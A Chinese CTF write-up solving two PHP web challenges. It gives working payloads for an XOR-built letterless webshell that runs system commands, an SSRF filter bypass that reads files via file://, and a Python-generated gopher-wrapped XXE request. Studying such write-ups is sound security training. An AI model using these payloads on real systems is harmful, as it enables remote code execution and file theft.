hate-php
考点:异或取反构造无字母数字webshell
开题送码:
<?php
error_reporting(0);
if(!isset($_GET['code'])){
highlight_file(__FILE__);
}else{
$code = $_GET['code'];
if (preg_match('/(f|l|a|g|\.|p|h|\/|;|\"|\'|\`|\||\[|\]|\_|=)/i',$code)) {
die('You are too good for me');
}
$blacklist = get_defined_functions()['internal'];
foreach ($blacklist as $blackitem) {
if (preg_match ('/' . $blackitem . '/im', $code)) {
die('You deserve better');
}
}
assert($code);
}
preg_match
ban掉了下划线等字符,然后 get_defined_functions()['internal']
禁用了内置函数
但是没有过滤取反~和异或^,
PHP7前是不允许用($a)();这样的方法来执行动态函数的,但PHP7中增加了对此的支持。所以,我们可以通过 ('phpinfo')();
来执行函数,第一个括号中可以是任意PHP表达式。
不但如此,这个payload还支持接受参数,比如 ('phpinfo')(1)
,这道题过滤了分号,但是这道题不需要分号也可以执行
那么我们自然可以用这个来执行一些代码;
?code=${%ff%ff%ff%ff^%a0%b8%ba%ab}{%ff}();&%ff=phpinfo
成功返回了 phpinfo
,我们继续构造一个shell:
?code=${%ff%ff%ff%ff^%a0%b8%ba%ab}{%ee}(${%ff%ff%ff%ff^%a0%b8%ba%ab}{%ff})&%ee=system&%ff=ls
可以看到ls的结果,不过cat好像又被宰掉了,用 tac fl*
来获取flag
do you know
预期:gopher协议SSRF打XXE,URL编码显示空字符,pop链
非预期:直接URL编码字母来绕过file关键字读取flag
呐~这道题是气死啊,我用gopher协议读取了main.php之后遇到了一个谜之pop链,最后饮恨于此,后来看了一些师傅的wp之后,知道这个非预期直接吐血。。。这波啊……这波是气死……
题目分析
一来就给出源码:
<?php
highlight_file(__FILE__);
#本题无法访问外网
#这题真没有其他文件,请不要再开目录扫描器了,有的文件我都在注释里面告诉你们了
#各位大佬...这题都没有数据库的存在...麻烦不要用工具扫我了好不好
#there is xxe.php
$poc=$_SERVER['QUERY_STRING'];
if(preg_match("/log|flag|hist|dict|etc|file|write/i" ,$poc)){
die("no hacker");
}
$ids=explode('&',$poc);
$a_key=explode('=',$ids[0])[0];
$b_key=explode('=',$ids[1])[0];
$a_value=explode('=',$ids[0])[1];
$b_value=explode('=',$ids[1])[1];
if(!$a_key||!$b_key||!$a_value||!$b_value)
{
die('我什么都没有~');
}
if($a_key==$b_key)
{
die("trick");
}
if($a_value!==$b_value)
{
if(count($_GET)!=1)
{
die('be it so');
}
}
foreach($_GET as $key=>$value)
{
$url=$value;
}
$ch = curl_init();
if ($type != 'file') {
#add_debug_log($param, 'post_data');
// 设置超时
curl_setopt($ch, CURLOPT_TIMEOUT, 30);
} else {
// 设置超时
curl_setopt($ch, CURLOPT_TIMEOUT, 180);
}
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, false);
// 设置header
if ($type == 'file') {
$header[] = "content-type: multipart/form-data; charset=UTF-8";
curl_setopt($ch, CURLOPT_HTTPHEADER, $header);
} elseif ($type == 'xml') {
curl_setopt($ch, CURLOPT_HEADER, false);
} elseif ($has_json) {
$header[] = "content-type: application/json; charset=UTF-8";
curl_setopt($ch, CURLOPT_HTTPHEADER, $header);
}
// curl_setopt($ch, CURLOPT_USERAGENT, 'Mozilla/4.0 (compatible; MSIE 5.01; Windows NT 5.0)');
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
curl_setopt($ch, CURLOPT_AUTOREFERER, 1);
// dump($param);
curl_setopt($ch, CURLOPT_POSTFIELDS, $param);
// 要求结果为字符串且输出到屏幕上
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
// 使用证书:cert 与 key 分别属于两个.pem文件
$res = curl_exec($ch);
var_dump($res);
明显是滥用 curl_exec
导致SSRF,第11-36行写的很僵硬,意思是GET传入的第一第二个参数必须键名不同键值相同,
然后 foreach
里面又把最后一个值赋给了 $url
所以我们直接 ?a=xxx&b=xxx&c=payload
就行,于是我们传入 ?a=xxx&b=xxx&c=127.0.0.1
就看到了请求index.php的结果
那么先说非预期:
urlencode编码绕过file关键字
他正则匹配的是$_SERVER["QUERY_STRING"];
$poc=$_SERVER['QUERY_STRING'];
if(preg_match("/log|flag|hist|dict|etc|file|write/i" ,$poc)){
die("no hacker");
}
但是赋值给url的时候是$_GET
foreach($_GET as $key=>$value) {
$url=$value;
}
谜底揭晓:
原理是$_SERVER["QUERY_STRING"]和$_GET两个超全局变量储存数据方式不同,并不是一些师傅说的二次解码的问题
换句话说,我们想要用 file://var/www/html/flag.php
来读取flag的话,他的filter是会过滤我们;
但是我们只要把这句payloadURL编码(英文字母也可以URL编码,格式为%+字符的16进制,详见菜鸟教程)
payload:
?a=xxx&b=xxx&c=%66%69%6c%65%3a%2f%2f%2f%76%61%72%2f%77%77%77%2f%68%74%6d%6c%2f%66%6c%61%67%2e%70%68%70
查看源码就有flag;
说到这里,其实也不算非预期了;
gopher协议SSRF利用XXE读取flag.php
这个方法比较麻烦一点,而且还可能会走偏(走偏选手已经哭晕在厕所)
生成POST数据流的exp:
#python3
#wh1sper
from urllib.parse import quote
stream = """POST /xxe.php HTTP/1.1
Host: 121.36.64.91
Content-Type: application/x-www-form-urlencoded
Content-Length: 225
Upgrade-Insecure-Requests: 1
data=%3C%3Fxml%20version%20%3D%20%221.0%22%3F%3E%0A%3C!DOCTYPE%20ANY%20%5B%0A%20%20%20%20%3C!ENTITY%20f%20SYSTEM%20%22php%3A%2F%2Ffilter%2Fconvert.base64-encode%2Fresource%3Dhints.php%22%3E%0A%5D%3E%0A%3Cx%3E%26f%3B%3C%2Fx%3E
""".replace("\n", "\r\n")#data需要先URL编码一次
print(quote(stream))
生成:
POST%20/xxe.php%20HTTP/1.1%0D%0AHost%3A%20121.36.64.91%0D%0AContent-Type%3A%20application/x-www-form-urlencoded%0D%0AContent-Length%3A%20225%0D%0AUpgrade-Insecure-Requests%3A%201%0D%0A%0D%0Adata%3D%253C%253Fxml%2520version%2520%253D%2520%25221.0%2522%253F%253E%250A%253C%21DOCTYPE%2520ANY%2520%255B%250A%2520%2520%2520%2520%253C%21ENTITY%2520f%2520SYSTEM%2520%2522php%253A%252F%252Ffilter%252Fconvert.base64-encode%252Fresource%253D%252566%25256c%252561%252567.%252570%252568%252570%2522%253E%250A%255D%253E%250A%253Cx%253E%2526f%253B%253C%252Fx%253E%0D%0A
拿去URLencode之后,用gopher协议打(gopher协议后面的数据需要二次编码):
?a=xxx&b=xxx&c=gopher%3a%2f%2f127.0.0.1%3a80%2f_POST%2520%2fxxe.php%2520HTTP%2f1.1%250D%250AHost%253A%2520121.36.64.91%250D%250AContent-Type%253A%2520application%2fx-www-form-urlencoded%250D%250AContent-Length%253A%2520238%250D%250AUpgrade-Insecure-Requests%253A%25201%250D%250A%250D%250Adata%253D%25253C%25253Fxml%252520version%252520%25253D%252520%2525221.0%252522%25253F%25253E%25250A%25253C%2521DOCTYPE%252520ANY%252520%25255B%25250A%252520%252520%252520%252520%25253C%2521ENTITY%252520f%252520SYSTEM%252520%252522php%25253A%25252F%25252Ffilter%25252Fconvert.base64-encode%25252Fresource%25253D%252566%25256c%252561%252567.%252570%252568%252570%252522%25253E%25250A%25255D%25253E%25250A%25253Cx%25253E%252526f%25253B%25253C%25252Fx%25253E%250D%250A
上面这个payload是xxe直接flag.php,但是没双写所以读不到,然后flag关键字还是需要URLencode,其实也就相当于利用了超全局变量,和另外一个方法比起来简直弱爆了
注意
1.修改数据时记得改POST请求头的Content-Type;
2.记得双写,xxe.php的过滤是替换为空
3.万万不要读取hints.php和main.php,最后会走到一个做不出来的pop链
复现到这里,再次哭晕;